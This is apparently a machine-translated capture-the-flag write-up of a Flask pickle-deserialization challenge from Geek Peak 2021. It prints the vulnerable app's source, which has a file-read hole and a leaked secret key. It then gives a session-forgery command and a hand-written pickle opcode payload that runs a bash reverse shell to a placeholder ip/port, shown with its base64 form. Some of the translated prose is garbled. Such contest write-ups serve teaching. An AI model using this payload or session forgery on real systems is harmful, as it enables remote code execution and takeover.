preface
After hitting the peak of geeks, talk about your feelings: it's really becoming more and more delicious?? They didn't sign in and didn't leave. They scored 0 directly, which was worse than when they first started
There are two Pwns, one five or six libc + two executable files. They don't bother to decompress them. A malloc directly persuades them to retreat. The skill points haven't been clicked yet
Seeing that there is an rsa in cryptography, I thought I had reached my skill range. Such a small N can't be decomposed and such a large e can't be cracked. It's just that I can only say that the level of the questioner is really high. I didn't fully understand the Chinese remainder theorem after learning for a semester. I don't think I can understand it in a few hours
web js didn't find anything. It happened to be doing deserialization recently, but the first one was really dizzy. I felt that there were many points to use, but none of them could be used. I found a hole poc and didn't understand it. I really want to find a master to take it with me
The second pickle deserialization idea is much clearer. Fortunately, I was watching pickle deserialization some time ago. Unfortunately, I just skipped it__ reduce__ If it can't be used, as a result, I only had a few minutes to look at this problem at that time. I missed this 0 breakthrough, but I just took advantage of this problem to make up a class and make a record here
Try to restore the subject environment for the masters to reproduce opcode
1, Source code disclosure
When logging in, grab a package. Obviously, read any file. After reading / proc/self/cmdline, you find that app. Com is running Py is actually redundant. Generally speaking, it is this, and then read the app Py to obtain the source code, view the web page source code, and the base64 in the picture src is it
from flask import Flask from flask import request from flask import render_template from flask import session import base64 import pickle import io import builtins class RestrictedUnpickler(pickle.Unpickler): blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit', 'map'} def find_class(self, module, name): if module == "builtins" and name not in self.blacklist: return getattr(builtins, name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def loads(data): return RestrictedUnpickler(io.BytesIO(data)).load() app = Flask(__name__) app.config['SECRET_KEY'] = "y0u-wi11_neuer_kn0vv-!@#se%32" @app.route('/admin', methods = ["POST","GET"]) def admin(): if('{}'.format(session['username'])!= 'admin' and str(session['username'] , encoding = "utf-8")!= 'admin'): return "not admin" try: data = base64.b64decode(session['data']) if "R" in data.decode(): return "nonono" pickle.loads(data) except Exception as e: print(e) return "success" @app.route('/login', methods = ["GET","POST"]) def login(): username = request.form.get('username') password = request.form.get('password') imagePath = request.form.get('imagePath') session['username'] = username + password session['data'] = base64.b64encode(pickle.dumps('hello' + username, protocol=0)) try: f = open(imagePath,'rb').read() except Exception as e: f = open('static/image/error.png','rb').read() imageBase64 = base64.b64encode(f) return render_template("login.html", username = username, password = password, data = bytes.decode(imageBase64)) @app.route('/', methods = ["GET","POST"]) def index(): return render_template("index.html") if __name__ == '__main__': app.run(host='0.0.0.0', port='8888')
2, Analysis source code
Seeing this source code, I feel that the idea is quite clear. It directly leaked SECRET_KEY, you can use flask-session-cookie-manager Crack session
{'data': b'base64 Encoded serialized content', 'username': 'admin'}
But the trouble is here
if "R" in data.decode(): return "nonono"
R cannot exist in a serialized string, and__ reduce__ The R instruction is used, but it is no surprise. After all, the topic prompts to handwrite opcode and execute the command without using the R instruction
2, Problem solving steps
Construct a payload that does not use the R instruction to execute the command. It doesn't matter if it can't write. A master has summarized it for us
Summary of using skills of pickle deserialization Thank you every other space
Imitate the o instruction in the figure above to construct the opcode of the rebound shell
import base64 import pickletools a = b'''(cos system S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"' o.''' a = pickletools.optimize(a) print(a) print(base64.b64encode(a)) # output # b'(cos\nsystem\nS\'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"\'\no.' # b'KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwL2lwL3BvcnQgMD4mMSInCm8u'
Incidentally, because the serialized content is decoded where the R instruction is filtered, the serialized content cannot contain characters that cannot be utf-8 decoded such as \ x81
Construct session
{'data': b'KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwL2lwL3BvcnQgMD4mMSInCm8u', 'username': 'admin'}
Encryption using flash session cookie Manager
python3 flask_session_cookie_manager3.py encode -t "{'data': b'KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwL2lwL3BvcnQgMD4mMSInCm8u', 'username': 'admin'}" -s 'y0u-wi11_neuer_kn0vv-!@#se%32'
Finally, replace the session value in the cookie and access / admin to rebound the shell
summary
I stopped writing yesterday because I thought of rewriting find in the title_ Class, but it didn't seem to take effect. I thought I accidentally moved the source code, so I went to find the relevant information. It didn't come out all night. Finally, I found that the problem was like this.
Set up a flag, find time to learn handwritten opcode, and then come back to update to see if you can filter R instructions while there is a sandbox and execute them
If the sandbox is to take effect, pickle loads(data) should be changed to loads(data)
At the same time, we found a detailed flag for the masters, Geek peak 2021WP